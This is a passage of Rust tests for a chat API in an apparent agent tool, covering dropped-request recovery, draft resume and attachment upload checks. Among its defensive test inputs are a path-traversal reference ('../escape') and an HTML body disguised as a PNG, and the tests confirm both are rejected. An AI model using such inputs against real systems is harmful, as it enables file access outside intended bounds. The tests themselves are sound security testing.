16051            serde_json::to_vec(&older).unwrap(),
16052        )
16053        .unwrap();
16054        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16055        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16056            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16057                "id": "g", "purpose": "Follow the review", "scope": "review",
16058                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16059                "state": "waiting", "step": "Follow the recorded review",
16060                "source_turn": 0, "owner_input": "Follow the review",
16061                "tasks": tasks, "runs": runs, "watches": [],
16062                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16063                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16064            }))
16065            .unwrap()
16066        };
16067        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16068
16069        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16070        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16071
16072        let unusable = vec![
16073            foreign.id.clone(),
16074            mismatched.id.clone(),
16075            corrupt.id.clone(),
16076            "missing".into(),
16077            "../escape".into(),
16078        ];
16079        let mut references = vec![older.id.clone()];
16080        references.extend(unusable.clone());
16081        talk.goals = vec![goal(vec![], references)];
16082        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16083
16084        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16085        assert_eq!(link(&talk), None);
16086
16087        let mut task = Task::new(
16088            "Review".into(),
16089            "Follow the review".into(),
16090            repo,
16091            Source::Human,
16092        );
16093        queue.put(&mut task).unwrap();
16094        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16095        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16096
16097        task.runs.push(older.id.clone());
16098        queue.put(&mut task).unwrap();
16099        assert_eq!(link(&talk), Some(("run", older.id)));
16100    }
16101
16102    #[test]
16103    fn talk_task_progress_counts_mixed_statuses() {
16104        let mut tasks: Vec<_> = [
16105            TaskStatus::Queued,
16106            TaskStatus::Running,
16107            TaskStatus::Held,
16108            TaskStatus::Failed,
16109            TaskStatus::Blocked,
16110            TaskStatus::Parked,
16111            TaskStatus::Done,
16112        ]
16113        .into_iter()
16114        .map(|status| {
16115            let mut task = Task::new(
16116                "task".into(),
16117                "task".into(),
16118                PathBuf::from("/repo"),
16119                Source::Human,
16120            );
16121            task.status = status;
16122            task
16123        })
16124        .collect();
16125        let progress = talk_task_progress(&tasks);
16126        assert_eq!(progress.state, "incomplete");
16127        assert_eq!(progress.total, 7);
16128        assert_eq!(progress.done, 1);
16129        assert_eq!(progress.unfinished_ids.len(), 6);
16130        assert!(progress.counts.values().all(|count| *count == 1));
16131        assert_eq!(
16132            progress.unfinished_ids,
16133            tasks[..6]
16134                .iter()
16135                .map(|task| task.id.clone())
16136                .collect::<Vec<_>>()
16137        );
16138
16139        for task in &mut tasks {
16140            task.status = TaskStatus::Done;
16141        }
16142        let complete = talk_task_progress(&tasks);
16143        assert_eq!(complete.state, "complete");
16144        assert_eq!(complete.done, 7);
16145        assert!(complete.unfinished_ids.is_empty());
16146        tasks[0].status = TaskStatus::Queued;
16147        let requeued = talk_task_progress(&tasks);
16148        assert_eq!(requeued.state, "incomplete");
16149        assert_eq!(requeued.done, 6);
16150        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16151
16152        let empty = talk_task_progress(&[]);
16153        assert_eq!(empty.state, "none");
16154        assert_eq!(empty.total, 0);
16155        assert_eq!(empty.done, 0);
16156        assert!(empty.unfinished_ids.is_empty());
16157        assert!(empty.counts.values().all(|count| *count == 0));
16158    }
16159
16160    #[tokio::test]
16161    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16162        let (_tmp, _repo, f) = talk_fixture().await;
16163        let id = f.post("/api/talks", None).await.json()["id"]
16164            .as_str()
16165            .expect("id")
16166            .to_owned();
16167
16168        let res = f
16169            .post(
16170                &format!("/api/talks/{id}/say"),
16171                Some(r#"{"text":"what does the queue module do?"}"#),
16172            )
16173            .await;
16174        assert_eq!(res.status, 202, "{}", res.body);
16175        let queued = res.json();
16176        let turns = queued["turns"].as_array().expect("turns array");
16177        assert_eq!(
16178            turns.len(),
16179            1,
16180            "the answer reflects only what is on disk the instant it is sent, \
16181             before the agent's turn - which can run for the whole of \
16182             `[graph] timeout_talk` - has a chance to land: {queued}"
16183        );
16184        assert_eq!(turns[0]["who"], "operator");
16185        assert_eq!(turns[0]["body"], "what does the queue module do?");
16186        assert_eq!(
16187            queued["thinking"], true,
16188            "the accepted response exposes the background turn claim: {queued}"
16189        );
16190
16191        let mut turns_after = 1;
16192        for _ in 0..SETTLE_STEPS {
16193            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16194            turns_after = detail["turns"].as_array().expect("turns array").len();
16195            if turns_after == 2 {
16196                break;
16197            }
16198            tokio::time::sleep(Duration::from_millis(10)).await;
16199        }
16200        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16201    }
16202
16203    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16204    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16205    /// guards against: `talk::record` used to return, and only *then* did the
16206    /// handler make a second, separate disk round trip before spawning the
16207    /// agent's reply task. A future dropped in that gap left a message
16208    /// recorded on disk with no reply task ever started and no way back short
16209    /// of a fresh message - and the gap was not even the whole story: *any*
16210    /// `.await` in this handler, including the very first one, is a point
16211    /// where a drop can land after the awaited work already finished but
16212    /// before this handler's own code resumes to act on it. `record` now
16213    /// runs inside the task `tokio::spawn` hands to the runtime before this
16214    /// handler ever awaits anything of its own again, so there is nothing
16215    /// left in *this* handler's future for a disconnect to interrupt between
16216    /// the message landing on disk and the reply task starting.
16217    ///
16218    /// A real socket disconnect cannot be relied on to land in the old gap
16219    /// from a test - over loopback, `talk_say` typically finishes before the
16220    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16221    /// same failure mode directly: it drops the task's future at whatever
16222    /// point it has reached, exactly what axum does to the handler future,
16223    /// without needing to win a real network race. Sweeping the delay before
16224    /// aborting samples a range of points the task's execution can be at,
16225    /// including where the old code sat waiting on its second disk round
16226    /// trip - confirmed by reverting this fix locally and watching this same
16227    /// sweep catch a talk stuck with the operator's turn recorded and no
16228    /// reply ever following.
16229    #[tokio::test]
16230    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16231        let tmp = TempDir::new().expect("tempdir");
16232        let repo = tmp.path().join("repo");
16233        std::fs::create_dir_all(&repo).expect("repo dir");
16234        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16235        let home = TempDir::new().expect("temp home");
16236        let talks = Talks::at(home.path().join("talks"));
16237        let ui = Arc::new(
16238            Ui::new(
16239                Queue::at(home.path().join("queue")),
16240                Questions::at(home.path().join("questions")),
16241                talks.clone(),
16242                home.path().join("runs"),
16243                home.path().to_path_buf(),
16244                repo.clone(),
16245            )
16246            .with_worktrees_root(home.path().join("wt")),
16247        );
16248        let cfg = config_for(&repo).await.expect("discover config");
16249
16250        for delay in 0..40u32 {
16251            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16252            let id = talk.id.clone();
16253
16254            let handler = tokio::spawn(talk_say(
16255                State(Arc::clone(&ui)),
16256                Path(id.clone()),
16257                Ok(Json(NewTalkTurn {
16258                    reply_to: None,
16259                    text: "what does the queue module do?".to_owned(),
16260                    attachments: Vec::new(),
16261                })),
16262            ));
16263            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16264            handler.abort();
16265            // Wait out the abort so the next iteration's talk does not race
16266            // this one's still-unwinding turn guard.
16267            let _ = handler.await;
16268
16269            let mut turns = 0;
16270            for _ in 0..SETTLE_STEPS {
16271                if let Ok(fresh) = talks.get(&id) {
16272                    turns = fresh.turns.len();
16273                    if turns != 1 {
16274                        break;
16275                    }
16276                }
16277                tokio::time::sleep(Duration::from_millis(10)).await;
16278            }
16279            assert_ne!(
16280                turns, 1,
16281                "delay {delay}: talk {id} recorded the operator's turn but \
16282                 the agent never answered - the reply task was never \
16283                 started after the handler future was dropped"
16284            );
16285        }
16286    }
16287
16288    /// The same drop, landing on `talk_say`'s other durable write.
16289    ///
16290    /// When a turn is already running, the busy branch persists the
16291    /// operator's text as a queued draft and then reclaims the turn slot if
16292    /// the holder gave it up in the meantime - and whoever reclaims owes that
16293    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16294    /// which finishes whether or not the future awaiting it is still there,
16295    /// so a handler dropped at that `.await` used to leave the draft written
16296    /// to disk with the reclaimed guard dropped unread and no drainer ever
16297    /// started: the message sat queued until some unrelated later `say`
16298    /// happened to pick it up.
16299    ///
16300    /// This used to drive the handler future by hand, polling it a fixed
16301    /// number of times to park it at the `.await` where it asks for the turn
16302    /// and finds it busy, before the reclaim's slot-free case could be set up
16303    /// underneath it. That assumed a fixed number of polls lands at a fixed
16304    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16305    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16306    /// poll, so any number of this handler's several `blocking` awaits can
16307    /// collapse into one poll under load, landing the drive somewhere other
16308    /// than intended - including, occasionally, straight past the handler's
16309    /// own completion, which made polling it again panic with "async fn
16310    /// resumed after completion". No poll count fixes that; the handler's
16311    /// progress simply is not something a caller outside it can observe by
16312    /// counting.
16313    ///
16314    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16315    /// inside the write itself, so the interleaving under test is pinned by
16316    /// an event instead of a guess: the gate fires only once the handler has
16317    /// actually decided `Busy` and is about to persist the draft, and it
16318    /// blocks that write until the test lets it through. Between those two
16319    /// moments the test drains the turn the handler found busy - through
16320    /// `drain_loop`, the protocol's other half - and then aborts the handler
16321    /// task outright, the same way axum drops a disconnected request's
16322    /// future. The write, and the reclaim it may do, run to completion
16323    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16324    /// to the runtime before ever touching the gate, wholly independent of
16325    /// whether the handler that started it is still around - which is what
16326    /// this test is actually checking. A drainer other than that reclaim
16327    /// cannot exist here: the test's own `drain_loop` call happens before the
16328    /// gate opens, so it runs while the queue is still empty and hands the
16329    /// turn straight back rather than draining anything, closing off the
16330    /// possibility of the final assertion passing without the reclaim ever
16331    /// having done its job.
16332    #[tokio::test]
16333    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16334        let tmp = TempDir::new().expect("tempdir");
16335        let repo = tmp.path().join("repo");
16336        std::fs::create_dir_all(&repo).expect("repo dir");
16337        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16338        let home = TempDir::new().expect("temp home");
16339        let talks = Talks::at(home.path().join("talks"));
16340        let ui = Arc::new(
16341            Ui::new(
16342                Queue::at(home.path().join("queue")),
16343                Questions::at(home.path().join("questions")),
16344                talks.clone(),
16345                home.path().join("runs"),
16346                home.path().to_path_buf(),
16347                repo.clone(),
16348            )
16349            .with_worktrees_root(home.path().join("wt")),
16350        );
16351        let cfg = config_for(&repo).await.expect("discover config");
16352        // Both waits guard against hangs, not slow filesystem or Git work on
16353        // a loaded test host. The gates and lock polls assert the ordering.
16354        let hang_guard = Duration::from_secs(30);
16355
16356        for attempt in 0..3u32 {
16357            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16358            let id = talk.id.clone();
16359            // A turn is already running, which is what sends `talk_say` down
16360            // the busy branch.
16361            let turn_guard = ui
16362                .begin_talk_turn(&id)
16363                .expect("claim the turn")
16364                .expect("a fresh talk owes nobody a turn");
16365
16366            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16367            let (release_tx, release_rx) = std::sync::mpsc::channel();
16368            ui.set_busy_queue_gate(BusyQueueGate {
16369                reached: reached_tx,
16370                release: release_rx,
16371            });
16372
16373            let handler = tokio::spawn(talk_say(
16374                State(Arc::clone(&ui)),
16375                Path(id.clone()),
16376                Ok(Json(NewTalkTurn {
16377                    reply_to: None,
16378                    text: "what does the queue module do?".to_owned(),
16379                    attachments: Vec::new(),
16380                })),
16381            ));
16382
16383            // Wait for the busy branch to actually reach the gate, rather
16384            // than for any fixed number of polls of anything - a bounded
16385            // wait rather than a bare `.await` so a regression that never
16386            // reaches the gate fails the test instead of hanging it.
16387            tokio::time::timeout(hang_guard, reached_rx)
16388                .await
16389                .unwrap_or_else(|_| {
16390                    panic!(
16391                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16392                    )
16393                })
16394                .expect("the busy branch dropped the gate without using it");
16395            assert!(
16396                crate::chat_worker::try_publication_guard(&talks, &id)
16397                    .expect("publication fence")
16398                    .is_none(),
16399                "a queued worker cannot promote text before its successor reservation is published"
16400            );
16401
16402            // A listener replacement queues its writer behind this accepted
16403            // mutation. Even disconnecting the HTTP caller must not release
16404            // admission before the write-to-worker handoff has completed.
16405            let closing = Arc::clone(&ui.admissions).write_owned();
16406            tokio::pin!(closing);
16407            std::future::poll_fn(|cx| {
16408                assert!(closing.as_mut().poll(cx).is_pending());
16409                std::task::Poll::Ready(())
16410            })
16411            .await;
16412            assert!(
16413                ui.begin_admission().is_err(),
16414                "replacement blocks later admissions"
16415            );
16416
16417            // The turn that was running now finishes and gives the slot up
16418            // the way a real one does - through `drain_loop`, which finds
16419            // nothing queued yet (the write is still held at the gate) and
16420            // releases. The handler, parked inside `spawn_blocking` on the
16421            // other side of the gate, still believes the talk is busy -
16422            // exactly the interleaving the reclaim exists for.
16423            let running = talks.get(&id).expect("reload talk");
16424            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16425
16426            // Drop the handler future now, the way a reloading phone drops
16427            // it: suspended waiting on the busy branch's answer, having
16428            // itself made no more progress since it handed the write off.
16429            handler.abort();
16430            let _ = handler.await;
16431            std::future::poll_fn(|cx| {
16432                assert!(
16433                    closing.as_mut().poll(cx).is_pending(),
16434                    "HTTP cancellation must not abandon a publishing transaction"
16435                );
16436                std::task::Poll::Ready(())
16437            })
16438            .await;
16439            assert!(
16440                crate::chat_worker::try_publication_guard(&talks, &id)
16441                    .expect("publication fence after disconnect")
16442                    .is_none()
16443            );
16444
16445            // Only now let the gated write proceed. It persists the draft
16446            // and reclaims the now-free slot from inside the task the busy
16447            // branch already spawned - unaffected by the handler's abort
16448            // above, since that task was independent of the handler's own
16449            // future from the moment it was spawned.
16450            release_tx.send(()).expect("busy queue write still gated");
16451            drop(
16452                tokio::time::timeout(hang_guard, closing)
16453                    .await
16454                    .unwrap_or_else(|_| {
16455                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16456                    }),
16457            );
16458            assert!(
16459                crate::chat_worker::try_publication_guard(&talks, &id)
16460                    .expect("publication fence after acknowledgement")
16461                    .is_some(),
16462                "the publication fence is not retained by the long response"
16463            );
16464
16465            // A settled talk: the draft drained into an operator turn and
16466            // answered.
16467            let mut fresh = talks.get(&id).expect("reload talk");
16468            for _ in 0..SETTLE_STEPS {
16469                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16470                    break;
16471                }
16472                tokio::time::sleep(Duration::from_millis(10)).await;
16473                fresh = talks.get(&id).expect("reload talk");
16474            }
16475            assert!(
16476                fresh.pending.is_empty() && fresh.turns.len() == 2,
16477                "attempt {attempt}: talk {id} left the operator's text queued \
16478                 with no drainer - the reclaimed turn was dropped along with \
16479                 the handler future (pending {:?}, {} turns)",
16480                fresh.pending,
16481                fresh.turns.len()
16482            );
16483        }
16484    }
16485
16486    #[tokio::test]
16487    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16488        let (_tmp, _repo, f) = talk_fixture().await;
16489        let id = f.post("/api/talks", None).await.json()["id"]
16490            .as_str()
16491            .expect("id")
16492            .to_owned();
16493        let store = f.talks();
16494        let mut recovered = store.get(&id).expect("opened talk");
16495        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16496            .expect("persist pending draft without a live turn");
16497
16498        let edited = f
16499            .post(
16500                &format!("/api/talks/{id}/pending/edit"),
16501                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16502            )
16503            .await;
16504        assert_eq!(edited.status, 200, "{}", edited.body);
16505        assert!(edited.json()["thinking"].as_bool().unwrap());
16506
16507        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16508        for _ in 0..SETTLE_STEPS {
16509            if detail["turns"].as_array().expect("turns").len() == 2 {
16510                break;
16511            }
16512            tokio::time::sleep(Duration::from_millis(10)).await;
16513            detail = f.get(&format!("/api/talks/{id}")).await.json();
16514        }
16515        let turns = detail["turns"].as_array().expect("turns");
16516        assert_eq!(
16517            turns.len(),
16518            2,
16519            "the recovered draft must run once: {detail}"
16520        );
16521        assert_eq!(turns[0]["body"], "corrected");
16522        assert_eq!(detail["pending"], "");
16523    }
16524
16525    #[tokio::test]
16526    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16527        let tmp = TempDir::new().expect("tempdir");
16528        let repo = tmp.path().join("repo");
16529        std::fs::create_dir_all(&repo).expect("repo dir");
16530        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16531        let f = Fixture::with_repo(repo).await;
16532        let id = f.post("/api/talks", None).await.json()["id"]
16533            .as_str()
16534            .expect("id")
16535            .to_owned();
16536        let store = f.talks();
16537        let mut recovered = store.get(&id).expect("opened talk");
16538        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16539            .expect("persist pending draft without a live turn");
16540
16541        let refused = f
16542            .post(
16543                &format!("/api/talks/{id}/say"),
16544                Some(r#"{"text":"new message"}"#),
16545            )
16546            .await;
16547        assert_eq!(refused.status, 409, "{}", refused.body);
16548        assert!(refused.body.contains("resume"), "{}", refused.body);
16549        let saved = store.get(&id).expect("draft remains after refusal");
16550        assert!(saved.turns.is_empty());
16551        assert_eq!(saved.pending, "saved before restart");
16552
16553        let say_path = format!("/api/talks/{id}/say");
16554        let (first, second) = tokio::join!(
16555            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16556            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16557        );
16558        assert_eq!(first.status, 409, "{}", first.body);
16559        assert_eq!(second.status, 409, "{}", second.body);
16560        let saved = store
16561            .get(&id)
16562            .expect("draft remains after concurrent refusals");
16563        assert!(saved.turns.is_empty());
16564        assert_eq!(saved.pending, "saved before restart");
16565
16566        let resumed = f
16567            .post(&format!("/api/talks/{id}/pending/resume"), None)
16568            .await;
16569        assert_eq!(resumed.status, 202, "{}", resumed.body);
16570        let duplicate = f
16571            .post(&format!("/api/talks/{id}/pending/resume"), None)
16572            .await;
16573        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16574
16575        for _ in 0..SETTLE_STEPS {
16576            if store.get(&id).expect("talk").turns.len() == 2 {
16577                break;
16578            }
16579            tokio::time::sleep(Duration::from_millis(10)).await;
16580        }
16581        let finished = store.get(&id).expect("finished talk");
16582        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16583        assert_eq!(finished.turns[0].body, "saved before restart");
16584        assert!(finished.pending.is_empty());
16585    }
16586
16587    #[tokio::test]
16588    async fn an_image_only_recovered_draft_resumes_without_text() {
16589        let (_tmp, _repo, f) = talk_fixture().await;
16590        let id = f.post("/api/talks", None).await.json()["id"]
16591            .as_str()
16592            .expect("id")
16593            .to_owned();
16594        let uploaded = f
16595            .post_bytes(
16596                &format!("/api/talks/{id}/attachments"),
16597                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16598                PNG_BYTES,
16599            )
16600            .await;
16601        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16602        let attachment = f
16603            .talks()
16604            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16605            .expect("attachment metadata")
16606            .expect("stored attachment");
16607        let store = f.talks();
16608        let mut recovered = store.get(&id).expect("opened talk");
16609        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16610
16611        let resumed = f
16612            .post(&format!("/api/talks/{id}/pending/resume"), None)
16613            .await;
16614        assert_eq!(resumed.status, 202, "{}", resumed.body);
16615        for _ in 0..SETTLE_STEPS {
16616            if store.get(&id).expect("talk").turns.len() == 2 {
16617                break;
16618            }
16619            tokio::time::sleep(Duration::from_millis(10)).await;
16620        }
16621        let finished = store.get(&id).expect("finished talk");
16622        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16623        assert!(finished.turns[0].body.is_empty());
16624        assert_eq!(finished.turns[0].attachments.len(), 1);
16625        assert!(finished.pending_attachments.is_empty());
16626    }
16627
16628    #[tokio::test]
16629    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16630        let (_tmp, _repo, f) = talk_fixture().await;
16631        let id = f.post("/api/talks", None).await.json()["id"]
16632            .as_str()
16633            .expect("id")
16634            .to_owned();
16635        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16636        assert_eq!(closed.status, 200, "{}", closed.body);
16637        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16638            .expect("serialize closed talk");
16639        for (path, body) in [
16640            (format!("/api/talks/{id}/pending/resume"), None),
16641            (
16642                format!("/api/talks/{id}/pending/clear"),
16643                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16644            ),
16645            (
16646                format!("/api/talks/{id}/pending/edit"),
16647                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16648            ),
16649            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16650        ] {
16651            let response = f.post(&path, body).await;
16652            assert_eq!(response.status, 409, "{}", response.body);
16653        }
16654        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16655            .expect("serialize closed talk");
16656        assert_eq!(
16657            after_clear, before_clear,
16658            "clear must not rewrite a closed talk"
16659        );
16660    }
16661
16662    /// Keeps both claims observable long enough to exercise the distinction
16663    /// between one busy talk and a globally locked Chat surface.
16664    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16665
16666    #[tokio::test]
16667    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16668        let tmp = TempDir::new().expect("tempdir");
16669        let repo = tmp.path().join("repo");
16670        std::fs::create_dir_all(&repo).expect("repo dir");
16671        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16672        let f = Fixture::with_repo(repo).await;
16673        let id_a = f.post("/api/talks", None).await.json()["id"]
16674            .as_str()
16675            .unwrap()
16676            .to_owned();
16677        let id_b = f.post("/api/talks", None).await.json()["id"]
16678            .as_str()
16679            .unwrap()
16680            .to_owned();
16681
16682        let a = f
16683            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16684            .await;
16685        assert_eq!(a.status, 202, "{}", a.body);
16686        assert_eq!(a.json()["thinking"], true);
16687        let b = f
16688            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16689            .await;
16690        assert_eq!(b.status, 202, "{}", b.body);
16691        assert_eq!(b.json()["thinking"], true);
16692
16693        let listed = f.get("/api/talks").await.json();
16694        for id in [&id_a, &id_b] {
16695            let view = listed
16696                .as_array()
16697                .unwrap()
16698                .iter()
16699                .find(|talk| talk["id"] == *id)
16700                .unwrap();
16701            assert_eq!(view["thinking"], true, "{listed}");
16702        }
16703        let repeated = f
16704            .post(
16705                &format!("/api/talks/{id_a}/say"),
16706                Some(r#"{"text":"again"}"#),
16707            )
16708            .await;
16709        assert_eq!(repeated.status, 202, "{}", repeated.body);
16710        assert_eq!(repeated.json()["pending"], "again");
16711    }
16712
16713    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16714    /// few more, since real uploads are never exactly eight bytes.
16715    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16716
16717    #[tokio::test]
16718    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16719        let f = Fixture::start().await;
16720        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16721
16722        let res = f
16723            .post_bytes(
16724                &format!("/api/talks/{id}/attachments"),
16725                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16726                PNG_BYTES,
16727            )
16728            .await;
16729        assert_eq!(res.status, 201, "{}", res.body);
16730        let body = res.json();
16731        assert_eq!(body["name"], "shot.png");
16732        assert_eq!(body["mime"], "image/png");
16733        assert_eq!(body["bytes"], PNG_BYTES.len());
16734        let att_id = body["id"].as_str().expect("id").to_owned();
16735        assert_eq!(
16736            att_id.len(),
16737            32,
16738            "the id must never be a client-suppliable path: {att_id}"
16739        );
16740
16741        let got = f
16742            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16743            .await;
16744        assert_eq!(got.status, 200, "{}", got.body);
16745        assert_eq!(got.header("content-type"), Some("image/png"));
16746        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16747        assert_eq!(got.bytes, PNG_BYTES);
16748    }
16749
16750    #[tokio::test]
16751    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16752        let f = Fixture::start().await;
16753        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16754
16755        // SVG can carry a `<script>`, so it is never on the whitelist even
16756        // though it is a real IANA image type.
16757        let svg = f
16758            .post_bytes(
16759                &format!("/api/talks/{id}/attachments"),
16760                &[("Content-Type", "image/svg+xml")],
16761                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16762            )
16763            .await;
16764        assert!(
16765            (400..500).contains(&svg.status),
16766            "svg must be refused: {} {}",
16767            svg.status,
16768            svg.body
16769        );
16770        assert!(svg.body.contains("SVG"), "{}", svg.body);
16771
16772        let text = f
16773            .post_bytes(
16774                &format!("/api/talks/{id}/attachments"),
16775                &[("Content-Type", "text/plain")],
16776                b"just some text",
16777            )
16778            .await;
16779        assert!(
16780            (400..500).contains(&text.status),
16781            "an unlisted type must be refused: {} {}",
16782            text.status,
16783            text.body
16784        );
16785
16786        // The declared type is a real png, but the size check runs before
16787        // the bytes are even looked at.
16788        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16789        let big = f
16790            .post_bytes(
16791                &format!("/api/talks/{id}/attachments"),
16792                &[("Content-Type", "image/png")],
16793                &oversized,
16794            )
16795            .await;
16796        assert_eq!(
16797            big.status,
16798            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16799            "{}",
16800            big.body
16801        );
16802    }
16803
16804    #[tokio::test]
16805    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16806        let f = Fixture::start().await;
16807        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16808
16809        // A whitelisted `Content-Type`, but bytes that are not actually a
16810        // png - the declared header alone is never trusted.
16811        let res = f
16812            .post_bytes(
16813                &format!("/api/talks/{id}/attachments"),
16814                &[("Content-Type", "image/png")],
16815                b"<html>not a picture</html>",
16816            )
16817            .await;
16818        assert!((400..500).contains(&res.status), "{}", res.body);
16819    }
16820
16821    #[tokio::test]
16822    async fn an_unknown_attachment_id_is_a_404() {
16823        let f = Fixture::start().await;
16824        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16825
16826        let res = f
16827            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16828            .await;
16829        assert_eq!(res.status, 404, "{}", res.body);
16830    }
16831
16832    #[tokio::test]
16833    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16834        let f = Fixture::start().await;
16835        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16836
16837        let uploaded = f
16838            .post_bytes(
16839                &format!("/api/talks/{id}/attachments"),
16840                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16841                PNG_BYTES,
16842            )
16843            .await;
16844        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16845        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16846
16847        let res = f
16848            .post(
16849                &format!("/api/talks/{id}/say"),
16850                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16851            )
16852            .await;
16853        assert_eq!(res.status, 202, "{}", res.body);
16854        let queued = res.json();
16855        let turns = queued["turns"].as_array().expect("turns array");
16856        assert_eq!(
16857            turns.len(),
16858            1,
16859            "an empty body with an attachment is still a turn: {queued}"
16860        );
16861        assert_eq!(turns[0]["who"], "operator");
16862        assert_eq!(turns[0]["body"], "");
16863        let atts = turns[0]["attachments"]
16864            .as_array()
16865            .expect("attachments array");
16866        assert_eq!(atts.len(), 1);
16867        assert_eq!(atts[0]["id"], att_id);
16868        assert_eq!(atts[0]["mime"], "image/png");
16869
16870        // Not only in the response: `record` flushes to disk before the
16871        // agent's own turn is even spawned.
16872        let on_disk = f.talks().get(&id).expect("get");
16873        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16874        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16875    }
16876
16877    #[tokio::test]
16878    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16879        let f = Fixture::start().await;
16880        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16881
16882        let res = f
16883            .post(
16884                &format!("/api/talks/{id}/say"),
16885                Some(&format!(
16886                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16887                    "a".repeat(32)
16888                )),
16889            )
16890            .await;
16891        assert!((400..500).contains(&res.status), "{}", res.body);
16892        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16893
16894        let on_disk = f.talks().get(&id).expect("get");
16895        assert!(
16896            on_disk.turns.is_empty(),
16897            "a rejected attachment id must not partially record the turn: {:?}",
